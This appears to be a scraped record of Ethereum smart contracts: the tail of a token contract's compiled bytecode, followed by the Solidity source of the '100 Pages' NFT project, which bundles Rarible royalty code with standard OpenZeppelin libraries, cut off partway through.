46865206f776e657281525060200191505060405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b60006111c861112c612055565b846111c3856001600061113d612055565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244790919063ffffffff16565b61205d565b6001905092915050565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611291576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5265737472696374656420746f206d696e746572732e0000000000000000000081525060200191505060405180910390fd5b61129b82826124cf565b5050565b600081116112ac57600080fd5b806112b6336112ce565b10156112c157600080fd5b6112cb3382612696565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61131e612055565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600854905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461156e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4f6e6c7920666f722074617865722e000000000000000000000000000000000081525060200191505060405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561168b5780601f106116605761010080835404028352916020019161168b565b820191906000526020600020905b81548152906001019060200180831161166e57829003601f168201915b5050505050905090565b61169d612055565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461175f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600960009054906101000a900460ff16905090565b60006118946117de612055565b8461188f85604051806060016040528060258152602001612e2b6025913960016000611808612055565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285a9092919063ffffffff16565b61205d565b6001905092915050565b6118a6612055565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611968576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600960006101000a81548160ff021916908315150217905550565b600061198f6115c9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119d55750600960009054906101000a900460ff16155b611a47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f5472616e73666572206973206c6f636b696e670000000000000000000000000081525060200191505060405180910390fd5b6000611a716064611a636008548661225490919063ffffffff16565b6122da90919063ffffffff16565b905060011515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611ad157600090505b6000611ae6828561232490919063ffffffff16565b905083611af2336112ce565b1015611b66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f696e73756666696369656e742062616c616e63652e000000000000000000000081525060200191505060405180910390fd5b611b70858261291a565b5060008214611ba757611ba5600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361291a565b505b60019250505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4f6e6c7920666f722074617865722e000000000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611dca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4f6e6c7920666f722074617865722e000000000000000000000000000000000081525060200191505060405180910390fd5b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611e2d612055565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611eef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611f75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612d0a6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156120e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612e076024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612169576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612d306022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008083141561226757600090506122d4565b600082840290508284828161227857fe5b04146122cf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612d786021913960400191505060405180910390fd5b809150505b92915050565b600061231c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612938565b905092915050565b600061236683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061285a565b905092915050565b600061237b8484846129fe565b61243c84612387612055565b61243785604051806060016040528060288152602001612d9960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006123ed612055565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285a9092919063ffffffff16565b61205d565b600190509392505050565b6000808284019050838110156124c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61257e60008383612cbf565b6125938160025461244790919063ffffffff16565b6002819055506125ea816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561271c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612dc16021913960400191505060405180910390fd5b61272882600083612cbf565b61279381604051806060016040528060228152602001612ce8602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285a9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ea8160025461232490919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000838311158290612907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156128cc5780820151818401526020810190506128b1565b50505050905090810190601f1680156128f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600061292e612927612055565b84846129fe565b6001905092915050565b600080831182906129e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156129a957808201518184015260208101905061298e565b50505050905090810190601f1680156129d65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816129f057fe5b049050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612de26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612cc56023913960400191505060405180910390fd5b612b15838383612cbf565b612b8081604051806060016040528060268152602001612d52602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285a9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c13816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122058cd6619e4dddffa7c6cbf17eef3be72e8bbb2a4251661eef09faeee8d45084c64736f6c63430007020033
[ 38 ]
0xf1b562546e3d8d6289dfc2f31335a115e8b09d46
// SPDX-License-Identifier: MIT /*** * ************************************************************************************************************* * ************************██╗███╗**█████╗*████████╗██╗███████╗████████╗*█████╗********************************* * ************************██║══██╗██╔══██╗╚══██╔══╝██║██╔════╝╚══██╔══╝██╔══██╗******************************** * ************************██║███╔╝███████║***██║***██║███████╗***██║***███████║******************************** * ************************██║══██╗██╔══██║***██║***██║╚════██║***██║***██╔══██║******************************** * ************************██║███╔╝██║**██║***██║***██║███████║***██║***██║**██║******************************** * ************************╚═╝═══╝*╚═╝**╚═╝***╚═╝***╚═╝╚══════╝***╚═╝***╚═╝**╚═╝******************************** * **********██████╗*███╗***██╗****████████╗██╗**██╗███████╗****██████╗*███████╗*█████╗*████████╗*************** * *********██╔═══██╗████╗**██║****╚══██╔══╝██║**██║██╔════╝****██╔══██╗██╔════╝██╔══██╗╚══██╔══╝*************** * *********██║***██║██╔██╗*██║*******██║***███████║█████╗******██████╔╝█████╗**███████║***██║****************** * *********██║***██║██║╚██╗██║*******██║***██╔══██║██╔══╝******██╔══██╗██╔══╝**██╔══██║***██║****************** * *********╚██████╔╝██║*╚████║*******██║***██║**██║███████╗****██████╔╝███████╗██║**██║***██║****************** * **********╚═════╝*╚═╝**╚═══╝*******╚═╝***╚═╝**╚═╝╚══════╝****╚═════╝*╚══════╝╚═╝**╚═╝***╚═╝****************** * *********************** ╔══════════════════════════════════════════════════╗ ******************************** * *********************** ║ INDEPENDENT PRODUCER GIVES BACK TO HIS COMMUNITY ║ ******************************** * *********************** ╚══════════════════════════════════════════════════╝ ******************************** * **************██╗*██████╗**██████╗*****██████╗**█████╗**██████╗*███████╗███████╗***************************** * *************███║██╔═████╗██╔═████╗****██╔══██╗██╔══██╗██╔════╝*██╔════╝██╔════╝*********▐▓▄**,▄▓▄**▄▓▌****** * *************╚██║██║██╔██║██║██╔██║****██████╔╝███████║██║**███╗█████╗**███████╗*********▐▓▓▓▓▓▀▀▓▓▓▓▓▌****** * **************██║████╔╝██║████╔╝██║****██╔═══╝*██╔══██║██║***██║██╔══╝**╚════██║*********j▓▓*,▓▓▓▓⌐*▓▓∩****** * **************██║╚██████╔╝╚██████╔╝****██║*****██║**██║╚██████╔╝███████╗███████║*********j▓▓▄▓▀*▓▓▄,▓▓▌****** * **************╚═╝*╚═════╝**╚═════╝*****╚═╝*****╚═╝**╚═╝*╚═════╝*╚══════╝╚══════╝*********j▓▓▓▓▄*▓▓▀▀▓▓▌****** * ****** ╔══════════════════════════════════════════════════════════════════════════════╗ *j▓▓*▀▓▓▓▓═*▓▓▌****** * ****** ║ 100 PAGES, 5 CHAPTERS OF 20 PAGES, 100 TOKENS PER PAGE = 10000 TOTAL TOKENS ║ **▀▓▓▓▄,*▄▄▓▓▀"****** * ****** ║ A PAGE TOKEN ALLOWS YOU TO BE A PART OF BATISTA's COMMUNITY AND RECEIVE ANY ║ ****'▀▀▓▓▀▀"********* * ****** ║ GIVEAWAYS DONATION THAT BATISTA GIFTS BACK TO HIS COMMUNITY PERIODICALLY. ║ ********************* * ****** ║ MORE INFO AT HTTPS://BATISTAONTHEBEAT.COM/100PAGES ║ ********************* * ****** ╚══════════════════════════════════════════════════════════════════════════════╝ ********************* * ************************************************************************************************************* */ // File: contracts/@rarible/royalties/contracts/LibRoyaltiesV2.sol pragma solidity ^0.8.0; library LibRoyaltiesV2 { /* * bytes4(keccak256('getRoyalties(LibAsset.AssetType)')) == 0x44c74bcc */ bytes4 constant _INTERFACE_ID_ROYALTIES = 0x44c74bcc; } // File: contracts/@rarible/royalties/contracts/LibPart.sol pragma solidity ^0.8.0; library LibPart { bytes32 public constant TYPE_HASH = keccak256("Part(address account,uint96 value)"); struct Part { address payable account; uint96 value; } function hash(Part memory part) internal pure returns (bytes32) { return keccak256(abi.encode(TYPE_HASH, part.account, part.value)); } } // File: contracts/@rarible/royalties/contracts/RoyaltiesV2.sol pragma solidity ^0.8.0; interface RoyaltiesV2 { event RoyaltiesSet(uint256 tokenId, LibPart.Part[] royalties); function getRaribleV2Royalties(uint256 id) external view returns (LibPart.Part[] memory); } // File: contracts/@rarible/royalties/contracts/impl/AbstractRoyalties.sol pragma solidity ^0.8.0; abstract contract AbstractRoyalties { mapping (uint256 => LibPart.Part[]) public royalties; function _saveRoyalties(uint256 _id, LibPart.Part[] memory _royalties) internal { for (uint i = 0; i < _royalties.length; i++) { require(_royalties[i].account != address(0x0), "Recipient should be present"); require(_royalties[i].value != 0, "Royalty value should be positive"); royalties[_id].push(_royalties[i]); } _onRoyaltiesSet(_id, _royalties); } function _updateAccount(uint256 _id, address _from, address _to) internal { uint length = royalties[_id].length; for(uint i = 0; i < length; i++) { if (royalties[_id][i].account == _from) { royalties[_id][i].account = payable(address(uint160(_to))); } } } function _onRoyaltiesSet(uint256 _id, LibPart.Part[] memory _royalties) virtual internal; } // File: contracts/@rarible/royalties/contracts/impl/RoyaltiesV2Impl.sol pragma solidity ^0.8.0; contract RoyaltiesV2Impl is AbstractRoyalties, RoyaltiesV2 { function getRaribleV2Royalties(uint256 id) override external view returns (LibPart.Part[] memory) { return royalties[id]; } function _onRoyaltiesSet(uint256 _id, LibPart.Part[] memory _royalties) override internal { emit RoyaltiesSet(_id, _royalties); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title 